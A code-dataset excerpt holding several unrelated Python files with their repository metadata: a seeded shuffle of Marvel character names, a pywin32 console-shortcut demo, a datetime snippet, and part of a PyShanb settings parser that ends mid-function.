u'jebediah_guthrie', u'jeffrey_mace', u'jekyll', u'jennifer_kale', u'jennifer_walters', u'jens_meilleur_slap_shot', u'jericho_drumm', u'jerome_beechman', u'jerry_jaxon', u'jessica_drew', u'jessica_jones', u'jester', u'jigsaw', u'jim_hammond', u'jimaine_szardos', u'jimmy_woo', u'jocasta', u'joe_cartelli', u'joe_fixit', u'joey_bailey', u'johann_schmidt', u'john_doe', u'john_falsworth', u'john_jameson', u'john_proudstar', u'john_ryker', u'john_sublime', u'john_walker', u'johnny_blaze', u'johnny_ohm', u'johnny_storm', u'jolt', u'jon_spectre', u'jonas_harrow', u'jonathan_john_garrett', u'jonathan_richards', u'jonothon_starsmore', u'jordan_seberius', u'joseph', u'joshua_guthrie', u'joystick', u'jubilee', u'judas_traveller', u'jude_the_entropic_man', u'juggernaut', u'julie_power', u'jumbo_carnation', u'junkpile', u'junta', u'justice', u'justin_hammer', u'justine_hammer', u'ka_zar', u'kaine', u'kala', u'kaluu', u'kamal', u'kamo_tharnn', u'kamuu', u'kang_the_conqueror', u'kangaroo', u'karen_page', u'karima_shapandar', u'karkas', u'karl_lykos', u'karl_malus', u'karl_mordo', u'karla_sofen', u'karma', u'karnak', u'karnilla', u'karolina_dean', u'karthon_the_quester', u'kasper_cole', u'kate_bishop', u'kate_neville', u'katherine_kitty_pryde', u'katherine_reynolds', u'katie_power', u'katrina_luisa_van_horne', u'katu', u'keen_marlow', u'kehl_of_tauran', u'keith_kilham', u'kem_horkus', u'kenneth_crichton', u'key', u'khaos', u'khonshu', u'khoryphos', u'kiber_the_cruel', u'kick_ass', u'kid_colt', u'kid_nova', u'kiden_nixon', u'kierrok', u'killer_shrike', u'killpower', u'killraven', u'kilmer', u'kimura', u'king_bedlam', u'kingo_sunen', u'kingpin', u'kirigi', u'kirtsyn_perrin_short_stop', u'kismet', u'kismet_deadly', u'kiss', u'kiwi_black', u'kkallakku', u'klrt', u'klaatu', u'klaw', u'kleinstocks', u'knickknack', u'kofi_whitemane', u'kogar', u'kohl_harder_boulder_man', u'korath_the_pursuer', u'korg', u'kormok', u'korrek', u'korvac', u'korvus', u'kosmos', u'kraken', u'krakkan', u'krang', u'kraven_the_hunter', u'krista_marwan', u'kristoff_vernard', u'kristoff_von_doom', u'kro', u'krystalin', u'kubik', u'kukulcan', u'kurse', u'kurt_wagner', u'kwannon', u'kyle_gibney', u'kylun', u'kymaera', u'la_lunatica', u'la_nuit', u'lacuna', u'lady_deathstrike', u'lady_jacqueline_falsworth_crichton', u'lady_killer', u'lady_lark', u'lady_lotus', u'lady_mandarin', u'lady_mastermind', u'lady_octopus', u'lament', u'lancer', u'landslide', u'larry_bodine', u'lasher', u'laura_dean', u'layla_miller', u'lazarus', u'leader', u'leap_frog', u'leash', u'lee_forrester', u'leech', u'left_hand', u'left_winger', u'legacy', u'legion', u'leila_davis', u'leir', u'lemuel_dorcas', u'leo', u'leonard_samson', u'leonus', u'letha', u'levan', u'lianda', u'libra', u'lifeforce', u'lifeguard', u'lifter', u'lightbright', u'lighting_rod', u'lightmaster', u'lightspeed', u'lila_cheney', u'lilandra_neramani', u'lilith_the_daughter_of_dracula', u'lin_sun', u'link', u'lionheart', u'live_wire', u'living_brain', u'living_colossus', u'living_diamond', u'living_eraser', u'living_hulk', u'living_laser', u'living_lightning', u'living_monolith', u'living_mummy', u'living_pharaoh', u'living_planet', u'living_totem', u'living_tribunal', u'liz_allan', u'lizard', u'llan_the_sorcerer', u'lloigoroth', u'llyra', u'llyron', u'loa', u'lockdown', u'lockheed', u'lockjaw', u'locksmith', u'locus', u'locust', u'lodestone', u'logan', u'loki', u'longneck', u'longshot', u'lonnie_thompson_lincoln', u'looter', u'lord_chaos', u'lord_dark_wind', u'lord_pumpkin', u'lorelei', u'lorelei_ii', u'lorelei_travis', u'lorna_dane', u'lorvex', u'loss', u'louise_mason', u'lucas_brand', u'luchino_nefaria', u'lucifer', u'ludi', u'luke_cage', u'luna', u'lunatica', u'lunatik', u'lupa', u'lupo', u'lurking_unknown', u'lyja', u'lynx', u'm', u'm_twins', u'mn_e_ultraverse', u'modam', u'modok', u'mac_gargan', u'mach_iv', u'machine_man', u'machine_teen', u'machinesmith', u'mad_dog_rassitano', u'mad_jack', u'mad_jim_jaspers', u'mad_thinker', u'mad_thinkers_awesome_android', u'mad_dog', u'madam_slay', u'madame_hydra', u'madame_macevil', u'madame_masque', u'madame_menace', u'madame_web', u'madcap', u'madeline_joyce', u'madelyne_pryor', u'madison_jeffries', u'maelstrom', u'maestro', u'magdalena', u'magdalene', u'maggott', u'magician', u'magik', u'magilla', u'magma', u'magneto', u'magnum', u'magnus', u'magus', u'maha_yogi', u'mahkizmo', u'major_mapleleaf', u'makkari', u'malekith_the_accursed', u'malice', u'mammomax', u'man_mountain_marko', u'man_ape', u'man_beast', u'man_brute', u'man_bull', u'man_eater', u'man_elephant', u'man_killer', u'man_spider', u'man_thing', u'man_wolf', u'manbot', u'mandarin', u'mandrill', u'mandroid', u'mangle', u'mangog', u'manikin', u'manslaughter', u'manta', u'mantis', u'mantra', u'mar_vell', u'marc_spector', u'marduk_kurios', u'margali_szardos', u'margaret_power', u'margo_damian', u'maria_hill', u'mariko_yashida', u'marius_st_croix', u'mark_gervaisnight_shade', u'mark_raxton', u'mark_scarlotti', u'mark_todd', u'marlene_alraune', u'marrina', u'marrina_smallwood', u'marrow', u'marsha_rosenberg', u'martha_johansson', u'martin_gold', u'martin_preston', u'martinex', u'marvel_boy', u'marvel_girl', u'marvel_man', u'marvin_flumm', u'mary_skeeter_macpherran', u'mary_jane_parker', u'mary_jane_watson', u'mary_walker', u'mary_zero', u'masked_marauder', u'masked_marvel', u'masked_rose', u'masque', u'mass_master', u'master_khan', u'master_man', u'master_menace', u'master_mold', u'master_order', u'master_pandemonium', u'master_of_vengeance', u'mastermind', u'mastermind_of_the_uk', u'matador', u'match', u'matsuo_tsurayaba', u'matt_murdock', u'mauler', u'maur_konn', u'mauvais', u'maverick', u'max', u'maxam', u'maximus', u'maxwell_dillon', u'may_mayday_parker', u'may_parker', u'mayhem', u'maynard_tiboldt', u'meanstreak', u'meathook', u'mechamage', u'medusa', u'meggan', u'meggan_braddock', u'mekano', u'meld', u'melee', u'melissa_gold', u'melody_guthrie', u'meltdown', u'melter', u'mentallo', u'mentor', u'mentus', u'mephisto', u'mercurio', u'mercury', u'mercy', u'merlin', u'mesmero', u'metal_master', u'metalhead', u'meteor_man', u'meteorite', u'meteorite_ii', u'michael_nowman', u'michael_twoyoungmen', u'micro', u'microchip', u'micromax', u'midas', u'midgard_serpent', u'midnight', u'midnight_man', u'midnight_sun', u'miek', u'miguel_espinosa', u'miguel_ohara', u'miguel_santos', u'mikado', u'mikey', u'mikhail_rasputin', u'mikula_golubev', u'milan', u'miles_warren', u'milos_masaryk', u'mimic', u'mimir', u'mindmeld', u'mindworm', u'miracle_man', u'mirage', u'mirage_ii', u'misfit', u'miss_america', u'missing_link', u'mist_mistress', u'mister_buda', u'mister_doll', u'mister_fear', u'mister_hyde', u'mister_jip', u'mister_machine', u'mister_one', u'mister_sensitive', u'mister_sinister', u'mister_two', u'mister_x', u'misty_knight', u'mockingbird', u'modred_the_mystic', u'mogul_of_the_mystic_mountain', u'moira_brandon', u'moira_mactaggert', u'mojo', u'mole_man', u'molecule_man', u'molly_hayes', u'molten_man', u'mondo', u'monet_st_croix', u'mongoose', u'monica_rappaccini', u'monsoon', u'monstra', u'monstro_the_mighty', u'moon_knight', u'moon_boy', u'moondark', u'moondragon', u'moonhunter', u'moonstone', u'mop_man', u'morbius', u'mordred', u'morg', u'morgan_le_fay', u'morlun', u'morning_star', u'morph', u'morpheus', u'morris_bench', u'mortimer_toynbee', u'moses_magnum', u'mosha', u'mother_earth', u'mother_nature', u'mother_night', u'mother_superior', u'motormouth', u'mountjoy', u'mr_fish', u'mr_justice', u'mr_m', u'mr_wu', u'ms_modok', u'ms_marvel', u'ms_steed', u'multiple_man', u'murmur', u'murmur_ii', u'mutant_master', u'mutant_x', u'myron_maclain', u'mys_tech', u'mysterio', u'mystique', u'ngabthoth', u'ngarai', u'nastirh', u'nfl_superpro', u'naga', u'nameless_one', u'namor_mckenzie', u'namor_the_sub_mariner', u'namora', u'namorita', u'nanny', u'nate_grey', u'nathaniel_essex', u'nathaniel_richards', u'native', u'nebula', u'nebulo', u'nebulon', u'nebulos', u'necrodamus', u'necromantra', u'ned_horrocks', u'ned_leeds', u'needle', u'nefarius', u'negasonic_teenage_warhead', u'nekra', u'nekra_sinclar', u'nemesis', u'neophyte', u'neptune', u'network', u'neuronne', u'neurotap', u'new_goblin', u'nezarr_the_calculator', u'nicholas_maunder', u'nicholas_scratch', u'nick_fury', u'nico_minoru', u'nicole_st_croix', u'night_nurse', u'night_rider', u'night_thrasher', u'nightcrawler', u'nighthawk', u'nightmare', u'nightshade', u'nightside', u'nightwatch', u'nightwind', u'nikki', u'niles_van_roekel', u'nimrod', u'ningal', u'nitro', u'nobilus', u'nocturne', u'noh_varr', u'nomad', u'norman_osborn', u'norns', u'norrin_radd', u'northstar', u'nosferata', u'nova', u'nova_prime', u'novs', u'nox', u'nth_man', u'nth_man_the_ultimate_ninja', u'nuke_frank_simpson', u'nuke_squadron_supreme_member', u'nuklo', u'numinus', u'nut', u'obadiah_stane', u'obituary', u'obliterator', u'oblivion', u'occulus', u'ocean', u'ocelot', u'oddball', u'odin', u'ogre', u'ogress', u'omega', u'omega_red', u'omega_the_unknown', u'omen', u'omerta', u'one_above_all', u'oneg_the_prober', u'onslaught', u'onyxx', u'ooze', u'optoman', u'oracle', u'orator', u'orb', u'orbit', u'orchid', u'ord', u'order', u'orikal', u'orka', u'ororo_munroe', u'orphan', u'orphan_maker', u'osiris', u'outlaw', u'outrage', u'overkill', u'overmind', u'overrider', u'owl', u'ox', u'ozone', u'ozymandias', u'paibo', u'paige_guthrie', u'paladin', u'paradigm', u'paragon', u'paralyzer', u'paris', u'pasco', u'paste_pot_pete', u'patch', u'pathway', u'patriot', u'patriot_ii', u'patsy_hellstrom', u'patsy_walker', u'paul_bailey', u'paul_norbert_ebersol', u'paul_patterson', u'payback', u'peace_monger', u'peepers', u'peggy_carter', u'penance', u'penance_ii', u'peregrine', u'perfection', u'perseus', u'persuader', u'persuasion', u'perun', u'pete_wisdom', u'peter_criss', u'peter_noble', u'peter_parker', u'peter_petruski', u'phade', u'phage', u'phalanx', u'phantazia', u'phantom_blonde', u'phantom_eagle', u'phantom_rider', u'phastos', u'phat', u'phil_urich', u'philip_fetter', u'phineas_t_horton', u'phoenix', u'photon', u'phyla_vell', u'pietro_maximoff', u'piledriver', u'piotr_rasputin', u'pip_the_troll', u'pipeline', u'piper', u'piranha', u'pisces', u'pistol', u'pixie', u'pixx', u'plague', u'plantman', u'plasma', u'plazm', u'plug', u'plunderer', u'pluto', u'poison', u'polaris', u'poltergeist', u'porcupine', u'portal', u'possessor', u'postman', u'postmortem', u'poundcakes', u'powderkeg', u'power_broker', u'power_man', u'power_princess', u'power_skrull', u'powerhouse', u'powerpax', u'presence', u'pressure', u'prester_john', u'pretty_persuasions', u'preview', u'primal', u'prime', u'prime_mover', u'primevil', u'primus', u'princess_python', u'proctor', u'prodigy', u'professor_power', u'professor_x', u'projector', u'prometheus', u'protector', u'proteus', u'prototype', u'prowler', u'psi_lord', u'psyche', u'psycho_man', u'psyklop', u'psylocke', u'puck', u'puff_adder', u'puishannt', u'pulse', u'puma', u'punchout', u'punisher', u'punisher_2099', u'puppet_master', u'purge', u'purple_girl', u'purple_man', u'pyre', u'pyro', u'quagmire', u'quantum', u'quasar', u'quasar_ii', u'quasimodo', u'quentin_beck', u'quentin_quire', u'quicksand', u'quicksilver', u'quincy_harker', u'raa_of_the_caves', u'rachel_grey', u'rachel_summers', u'rachel_van_helsing', u'radian', u'radioactive_man', u'radion_the_atomic_man', u'radius', u'rafferty', u'rage', u'raggadorr', u'rahne_sinclair', u'rainbow', u'rama_tut', u'raman', u'ramrod', u'ramshot', u'rancor', u'randall_shire', u'random', u'ranger', u'ransak_the_reject', u'rattler', u'ravage_2099', u'raving_beauty', u'rawhide_kid', u'rax', u'raymond_sikorsky', u'raza', u'razor_fist', u'razorback', u'reaper', u'rebel', u'recorder', u'red_claw', u'red_ghost', u'red_guardian', u'red_lotus', u'red_nine', u'red_raven', u'red_ronin', u'red_shift', u'red_skull', u'red_skull_ii', u'red_wolf', u'redeemer', u'redneck', u'redwing', u'reeva_payge', u'reignfire', u'reject', u'remnant', u'remy_lebeau', u'reptyl', u'revanche', u'rex_mundi', u'rhiannon', u'rhino', u'ricadonna', u'richard_fisk', u'richard_parker', u'richard_rider', u'rick_jones', u'ricochet', u'rictor', u'rigellian_recorder', u'right_winger', u'ringer', u'ringleader', u'ringmaster', u'ringo_kid', u'rintrah', u'riot', u'riot_grrl', u'ripfire', u'ritchie_gilmore', u'rlnnd', u'robbie_robertson', u'robert_bobby_drake', u'robert_bruce_banner', u'robert_hunter', u'robert_kelly', u'robert_da_costa', u'rock', u'rock_python', u'rocket_raccoon', u'rocket_racer', u'rodstvow', u'rogue', u'rom_the_spaceknight', u'roma', u'romany_wisdom', u'ronan_the_accuser', u'rose', u'roughhouse', u'roulette', u'royal_roy', u'ruby_thursday', u'ruckus', u'rumiko_fujikawa', u'rune', u'runner', u'rush', u'rusty_collins', u'ruth_bat_seraph', u'ryder', u'sbyll', u'sym', u'sabra', u'sabreclaw', u'sabretooth', u'sack', u'sage', u'sagittarius', u'saint_anna', u'saint_elmo', u'sally_blevins', u'sally_floyd', u'salvo', u'sam_sawyer', u'sam_wilson', u'samuel_starr_saxon', u'samuel_guthrie', u'samuel_silke', u'samuel_smithers', u'sandman', u'sangre', u'sara_grey', u'sasquatch', u'satana', u'satannish', u'saturnyne', u'sauron', u'savage_steel', u'sayge', u'scaleface', u'scalphunter', u'scanner', u'scarecrow', u'scarecrow_ii', u'scarlet_beetle', u'scarlet_centurion', u'scarlet_scarab', u'scarlet_spider', u'scarlet_spiders', u'scarlet_witch', u'schemer', u'scimitar', u'scintilla', u'scorcher', u'scorpia', u'scorpio', u'scorpion', u'scott_summers', u'scott_washington', u'scourge_of_the_underworld', u'scrambler', u'scream', u'screaming_mimi', u'screech', u'scrier', u'sea_urchin', u'seamus_mellencamp', u'sean_cassidy', u'sean_garrison', u'sebastian_shaw', u'seeker', u'sekhmet', u'selene', u'senator_robert_kelly', u'senor_muerte', u'sentry', u'sepulchre', u'sergeant_fury', u'sergei_kravinoff', u'serpentina', u'sersi', u'set', u'seth', u'shadow_king', u'shadow_slasher', u'shadow_hunter', u'shadowcat', u'shadowmage', u'shadrac', u'shalla_bal', u'shaman', u'shamrock', u'shang_chi', u'shanga', u'shanna_the_she_devil', u'shaper_of_worlds', u'shard', u'sharon_carter', u'sharon_friedlander', u'sharon_ventura', u'shathra', u'shatter', u'shatterfist', u'shatterstar', u'she_hulk', u'she_thing', u'she_venom', u'shellshock', u'shen_kuei', u'shiar_gladiator', u'shinchuko_lotus', u'shingen_harada', u'shinobi_shaw', u'shirow_ishihara', u'shiva', u'shiver_man', u'shocker', u'shockwave', u'shola_inkosi', u'shooting_star', u'shotgun', u'shriek', u'shriker', u'shroud', u'shrunken_bones', u'shuma_gorath', u'sidewinder', u'siege', u'siena_blaze', u'sif', u'sigmar', u'sigyn', u'sikorsky', u'silhouette', u'silly_seal', u'silver', u'silver_dagger', u'silver_fox', u'silver_sable', u'silver_samurai', u'silver_scorpion', u'silver_squire', u'silver_surfer', u'silverclaw', u'silvermane', u'simon_williams', u'sin', u'sin_eater', u'sinister', u'sir_steel', u'siryn', u'sise_neg', u'skein', u'skids', u'skin', u'skinhead', u'skull_the_slayer', u'skullcrusher', u'skullfire', u'skunge_the_laxidazian_troll', u'skyhawk', u'skywalker', u'slab', u'slapstick', u'sleek', u'sleeper', u'sleepwalker', u'slick', u'sligguth', u'slipstream', u'slither', u'sludge', u'slug', u'sluggo', u'sluk', u'slyde', u'smart_alec', u'smartship_friday', u'smasher', u'smuggler', u'smuggler_ii', u'snowbird', u'snowfall', u'solara', u'solarman', u'solarr', u'soldier_x', u'solitaire', u'solo', u'solomon_osullivan', u'son_of_satan', u'songbird', u'soulfire', u'space_phantom', u'space_turnip', u'specialist', u'spectra', u'spectral', u'speed', u'speed_demon', u'speedball', u'speedo', u'spellbinder', u'spellcheck', u'spencer_smythe', u'sphinx', u'sphinxor', u'spider_doppelganger', u'spider_girl', u'spider_ham', u'spider_man', u'spider_slayer', u'spider_woman', u'spidercide', u'spike', u'spike_freeman', u'spinnerette', u'spiral', u'spirit_of_76', u'spitfire', u'spoilsport', u'spoor', u'spot', u'sprite', u'sputnik', u'spyder', u'spymaster', u'spyne', u'squidboy', u'squirrel_girl', u'st_john_allerdyce', u'stacy_x', u'stained_glass_scarlet', u'stakar', u'stallior', u'stanley_stewart', u'star_stalker', u'star_thief', u'star_dancer', u'star_lord', u'starbolt', u'stardust', u'starfox', u'starhawk', u'starlight', u'starr_the_slayer', u'starshine', u'starstreak', u'stature', u'steel_raven', u'steel_serpent', u'steel_spider', u'stegron', u'stellaris', u'stem_cell', u'stentor', u'stephen_colbert', u'stephen_strange', u'steve_rogers', u'steven_lang', u'stevie_hunter', u'stick', u'stiletto', u'stilt_man', u'stinger', u'stingray', u'stitch', u'stone', u'stonecutter', u'stonewall', u'storm', u'stranger', u'stratosfire', u'straw_man', u'strobe', u'strong_guy', u'strongarm', u'stryfe', u'stunner', u'stuntmaster', u'stygorr', u'stygyro', u'styx_and_stone', u'sub_mariner', u'sugar_man', u'suicide', u'sultan', u'sun_girl', u'sunder', u'sundragon', u'sunfire', u'sunpyre', u'sunset_bain', u'sunspot', u'sunstreak', u'sunstroke', u'sunturion', u'super_rabbit', u'super_sabre', u'super_adaptoid', u'super_nova', u'super_skrull', u'superpro', u'supercharger', u'superia', u'supernalia', u'suprema', u'supreme_intelligence', u'supremor', u'surge', u'surtur', u'susan_richards', u'susan_storm', u'sushi', u'svarog', u'swarm', u'sweetface', u'swordsman', u'sybil_dorn', u'sybil_dvorak', u'synch', u't_ray', u'tabitha_smith', u'tag', u'tagak_the_leopard_lord', u'tailhook', u'taj_nital', u'talia_josephine_wagner', u'talisman', u'tamara_rahn', u'tana_nile', u'tantra', u'tanya_anderssen', u'tarantula', u'tarot', u'tartarus', u'taskmaster', u'tatterdemalion', u'tattletale', u'tattoo', u'taurus', u'techno', u'tefral_the_surveyor', u'tempest', u'tempo', u'tempus', u'temugin', u'tenpin', u'termagaira', u'terminator', u'terminatrix', u'terminus', u'terrax_the_tamer', u'terraxia', u'terror', u'tess_one', u'tessa', u'tether', u'tethlam', u'tex_dawson', u'texas_twister', u'thakos', u'thane_ector', u'thanos', u'the_amazing_tanwir_ahmed', u'the_angel', u'the_blank', u'the_destroyer', u'the_entity', u'the_grip', u'the_night_man', u'the_profile', u'the_russian', u'the_stepford_cuckoos', u'the_symbiote', u'the_wink', u'thena', u'theresa_cassidy', u'thermo', u'thin_man', u'thing', u'thinker', u'thirty_three', u'thog', u'thomas_halloway', u'thor', u'thor_girl', u'thornn', u'threnody', u'thumbelina', u'thunderball', u'thunderbird', u'thunderbolt', u'thunderclap', u'thunderfist', u'thunderstrike', u'thundra', u'tiboro', u'tiger_shark', u'tigra', u'timberius', u'time_bomb', u'timeshadow', u'timeslip', u'tinkerer', u'titan', u'titania', u'titanium_man', u'tito_bohusk', u'toad', u'toad_in_waiting', u'todd_arliss', u'tom_cassidy', u'tom_corsi', u'tom_foster', u'tom_thumb', u'tomazooma', u'tombstone', u'tommy', u'tommy_lightning', u'tomorrow_man', u'tony_stark', u'topaz', u'topspin', u'torgo_of_mekka', u'torgo_the_vampire', u'toro', u'torpedo', u'torrent', u'torso', u'tower', u'toxin', u'trader', u'trapper', u'trapster', u'tremolo', u'trevor_fitzroy', u'tri_man', u'triathlon', u'trick_shot', u'trioccula', u'trip_monroe', u'triton', u'troll', u'trump', u'tuc', u'tugun', u'tumbler', u'tundra', u'turac', u'turbo', u'turner_century', u'turner_d_century', u'tusk', u'tutinax_the_mountain_mover', u'two_gun_kid', u'tyger_tiger', u'typeface', u'typhoid', u'typhoid_mary', u'typhon', u'tyr', u'tyrak', u'tyrannosaur', u'tyrannus', u'tyrant', u'tzabaoth', u'u_go_girl', u'u_man', u'usagent', u'uatu', u'ulik', u'ultimo', u'ultimus', u'ultra_marine', u'ultragirl', u'ultron', u'ulysses', u'umar', u'umbo', u'uncle_ben_parker', u'uni_mind', u'unicorn', u'union_jack', u'unseen', u'unthinnk', u'unus_the_untouchable', u'unuscione', u'ursa_major', u'urthona', u'utgard_loki', u'vagabond', u'vague', u'vakume', u'valentina_allegra_de_la_fontaine', u'valerie_cooper', u'valinor', u'valkin', u'valkyrie', u'valtorr', u'vamp', u'vampire_by_night', u'vance_astro', u'vance_astrovik', u'vanguard', u'vanisher', u'vapor', u'vargas', u'varnae', u'vashti', u'vavavoom', u'vector', u'vegas', u'veil', u'vengeance', u'venom', u'venomm', u'venus', u'venus_dee_milo', u'veritas', u'vermin', u'vertigo', u'vesta', u'vibraxas', u'vibro', u'victor_creed', u'victor_mancha', u'victor_strange', u'victor_von_doom', u'victorius', u'vidar', u'vincente', u'vindaloo', u'vindicator', u'viper', u'virako', u'virginia_pepper_potts', u'virgo', u'vishanti', u'visimajoris', u'vision', u'vivisector', u'vixen', u'volcana', u'volla', u'volpan', u'volstagg', u'vulcan', u'vulture', u'wade_wilson', u'wallflower', u'walter_newell', u'wanda_maximoff', u'war', u'war_eagle', u'war_machine', u'war_v', u'warbird', u'warhawk', u'warlock', u'warpath', u'warren_iii_worthington', u'warrior_woman', u'warstar', u'warstrike', u'warwolves', u'washout', u'wasp', u'watcher', u'water_wizard', u'watoomb', u'weapon_x', u'wendell_vaughn', u'wendigo', u'werewolf_by_night', u'western_kid', u'whiplash', u'whirlwind', u'whistler', u'white_fang', u'white_pilgrim', u'white_queen', u'white_rabbit', u'white_tiger', u'whiteout', u'whizzer', u'wiccan', u'wicked', u'widget', u'wilbur_day', u'wild_child', u'wild_thing', u'wildboys', u'wildpride', u'wildside', u'will_o_the_wisp', u'william_baker', u'william_stryker', u'willie_lumpkin', u'wilson_fisk', u'wind_dancer', u'wind_warrior', u'windeagle', u'windshear', u'winky_man', u'winter_soldier', u'witchfire', u'wiz_kid', u'wizard', u'wolf', u'wolfsbane', u'wolverine', u'wonder_man', u'wong', u'woodgod', u'worm', u'wraith', u'wrath', u'wreckage', u'wrecker', u'wundarr_the_aquarian', u'wyatt_wingfoot', u'wysper', u'x_23', u'x_cutioner', u'x_man', u'x_ray', u'x_treme', u'xandu', u'xavin', u'xemnu_the_titan', u'xemu', u'xian_chi_xan', u'xorn', u'xorr_the_god_jewel', u'ygaron', u'yandroth', u'yellow_claw', u'yellowjacket', u'yeti', u'yith', u'ymir', u'yondu', u'yrial', u'yukio', u'yukon_jack', u'yuri_topolov', u'yuriko_oyama', u'zabu', u'zach', u'zaladane', u'zarathos', u'zarek', u'zartra', u'zebediah_killgrave', u'zeitgeist', u'zero', u'zero_g', u'zeus', u'ziggy_pig', u'zip_zap', u'zodiak', u'zom', u'zombie', u'zuras', u'zzzax', u'gen_harada', u'the_living_colossus_it', u'the_living_darkness_null', u'the_renegade_watcher_aron', u'the_tomorrow_man_zarrko' ] def get_float_from_string(seed): ''' Probably bad way to get a float from secret key''' max_sha_float = float(115792089237316195423570985008687907853269984665640564039457584007913129639935) h = hashlib.sha256(seed.encode('utf-8')) return int(h.hexdigest(), 16) / max_sha_float def shuffle_list(original, seed): ''' Same shuffle for same seed''' float_seed = get_float_from_string(seed) return random.shuffle(original, lambda: float_seed) shuffle_list(NAMES, settings.SECRET_KEY) def get_name_from_number(num): x = num % len(NAMES) return NAMES[x]
[ "mail@stefanwehrmeyer.com" ]
mail@stefanwehrmeyer.com
0efed9264a2bb7f084086f644c2111d8902ce4e2
8f64d50494507fd51c0a51010b84d34c667bd438
/BeautyForMe/myvenv/Lib/site-packages/win32comext/shell/demos/IShellLinkDataList.py
bf52f781c45e27794f26bffce8da383cc5c62bc1
[ "MIT" ]
permissive
YooInKeun/CAU_CSE_Capstone_3
5a4a61a916dc13c8635d25a04d59c21279678477
51405c4bed2b55661aa0708c8acea17fe72aa701
refs/heads/master
2022-12-11T15:39:09.721019
2021-07-27T08:26:04
2021-07-27T08:26:04
207,294,862
6
1
MIT
2022-11-22T04:52:11
2019-09-09T11:37:13
Python
UTF-8
Python
false
false
1,666
py
from win32com.shell import shell, shellcon import pythoncom, win32api, os, sys temp_dir=win32api.GetTempPath() linkname=win32api.GetTempFileName(temp_dir,'cmd')[0] os.remove(linkname) linkname+='.lnk' print('Link name:',linkname) ish=pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink) ish.SetPath(os.environ['cOMSPEC']) ish.SetWorkingDirectory(os.path.split(sys.executable)[0]) ish.SetDescription('shortcut made by python') console_props={ 'Signature':shellcon.NT_CONSOLE_PROPS_SIG, 'InsertMode':True, 'FullScreen':False, ## True looks like "DOS Mode" from win98! 'FontFamily':54, 'CursorSize':75, ## pct of character size 'ScreenBufferSize':(152, 256), 'AutoPosition':False, 'FontSize':(4, 5), 'FaceName':'', 'HistoryBufferSize':32, 'InputBufferSize':0, 'QuickEdit':True, 'Font':0, ## 0 should always be present, use win32console.GetNumberOfConsoleFonts() to find how many available 'FillAttribute':7, 'PopupFillAttribute':245, 'WindowSize':(128, 32), 'WindowOrigin':(0, 0), 'FontWeight':400, 'HistoryNoDup':False, 'NumberOfHistoryBuffers':32, ## ColorTable copied from a 'normal' console shortcut, with some obvious changes ## These do not appear to be documented. From experimentation, [0] is background, [7] is foreground text 'ColorTable':(255, 8388608, 32768, 8421376, 128, 8388736, 32896, 12582912, 8421504, 16711680, 65280, 16776960, 255, 16711935, 65535, 16777215) } ishdl=ish.QueryInterface(shell.IID_IShellLinkDataList) ishdl.AddDataBlock(console_props) ipf=ish.QueryInterface(pythoncom.IID_IPersistFile) ipf.Save(linkname,1) os.startfile(linkname)
[ "keun0390@naver.com" ]
keun0390@naver.com
f6a46eb065ef80c1559c9bdc9ecc8000c50b019d
392d16a4efcfe85ca99c82f816bdb37de8821098
/builtin_packages/datetime_sp/datetime_operation.py
a007315f3182c58d312b0de8b5d0c60b465892fa
[]
no_license
binderclip/code-snippets-python
a62305157c179748a80e8d7afa08178133465e6b
5b5381afd19dbd3c511d79a1d207c4a1789c0367
refs/heads/master
2022-12-11T08:34:45.373978
2021-11-27T08:38:04
2021-11-27T08:38:04
109,646,422
26
8
null
2022-12-09T05:21:26
2017-11-06T04:10:19
Python
UTF-8
Python
false
false
376
py
import datetime def main(): dt1 = datetime.datetime(2018, 6, 27) dt2 = datetime.datetime(2018, 6, 28) print('max: {}'.format(max(dt1, dt2))) print('minus: {}'.format(dt1 - dt2)) # print('plus: {}'.format(dt1 + dt2)) # TypeError: unsupported operand type(s) for +: 'datetime.datetime' and 'datetime.datetime' if __name__ == '__main__': main()
[ "binderclip2014@gmail.com" ]
binderclip2014@gmail.com
fa2b6ac1485395e04c0cb2535f099dde7990656b
0b4e3df18811a0de6e2e91e7efe1afc1ac635489
/pyshanb/utils.py
2f076ffd657f5868bc01b7d1d7ec17bf95b9d534
[ "MIT" ]
permissive
mozillazg/PyShanb
0c50d4d9554385041ba4b9df93f485e16b6540cd
40aa7ef21a6413fd2c722b451395f29283bb7949
refs/heads/dev
2023-08-23T21:16:52.104501
2014-04-01T13:20:16
2014-04-01T13:20:16
6,542,229
17
5
MIT
2018-03-05T01:08:52
2012-11-05T09:58:31
Python
UTF-8
Python
false
false
3,588
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """一些功能函数 """ import os from getpass import getpass from .cmdoption import CmdOption from .conf import Settings # Modified from https://github.com/webpy/webpy/blob/master/web/utils.py class Storage(dict): """A Storage object is like a dictionary except `obj.foo` can be used in addition to `obj['foo']`. >>> o = storage(a=1) >>> o.a 1 >>> o['a'] 1 >>> o.a = 2 >>> o['a'] 2 >>> del o.a >>> o.a Traceback (most recent call last): ... AttributeError: 'a' """ def __getattr__(self, key): try: return self[key] except KeyError as k: raise AttributeError(k) def __setattr__(self, key, value): self[key] = value def __delattr__(self, key): try: del self[key] except KeyError as k: raise AttributeError(k) def __repr__(self): return '<Storage ' + dict.__repr__(self) + '>' storage = Storage def parse_settings(): u"""解析各个设置项.""" # 获取各命令行参数的值 options = CmdOption().options configfile = options.settings username = options.username password = options.password ask_add_example = options.ask_add_example enable_iciba = options.enable_iciba auto_play = options.auto_play example = options.example english = options.english # 读取配置文件 if configfile: configfile = os.path.realpath(configfile) conf = Settings(configfile, username, '').settings if password is None: password = conf.password if not password: password = getpass('Please input password: ') username = username or conf.username password = password or conf.password if auto_play is None: auto_play = conf.auto_play # 自动播放单词读音 settings = {} # shanbay.com site = conf.site settings['site'] = site settings['username'] = username settings['password'] = password settings['auto_add'] = conf.auto_add # 自动保存单词到扇贝网 settings['ask_add'] = conf.ask_add # 询问是否保存单词 settings['auto_play'] = auto_play if english is None: english = conf.enable_en_definition settings['en_definition'] = english # 单词英文释义 settings['url_login'] = site + conf.url_login settings['api_get_word'] = site + conf.api_get_word # 获取单词信息的 api settings['api_get_example'] = site + conf.api_get_example # 获取例句的 api settings['api_add_word'] = site + conf.api_add_word # 保存单词的 api # 获取用户信息的 api settings['api_get_user_info'] = site + conf.api_get_user_info settings['api_add_example'] = site + conf.api_add_example # 添加例句的 api if ask_add_example is None: ask_add_example = conf.ask_add_example # 询问是否添加例句 settings['ask_example'] = ask_add_example if example is None: example = conf.enable_example settings['example'] = example # 用户自己添加的单词例句 # 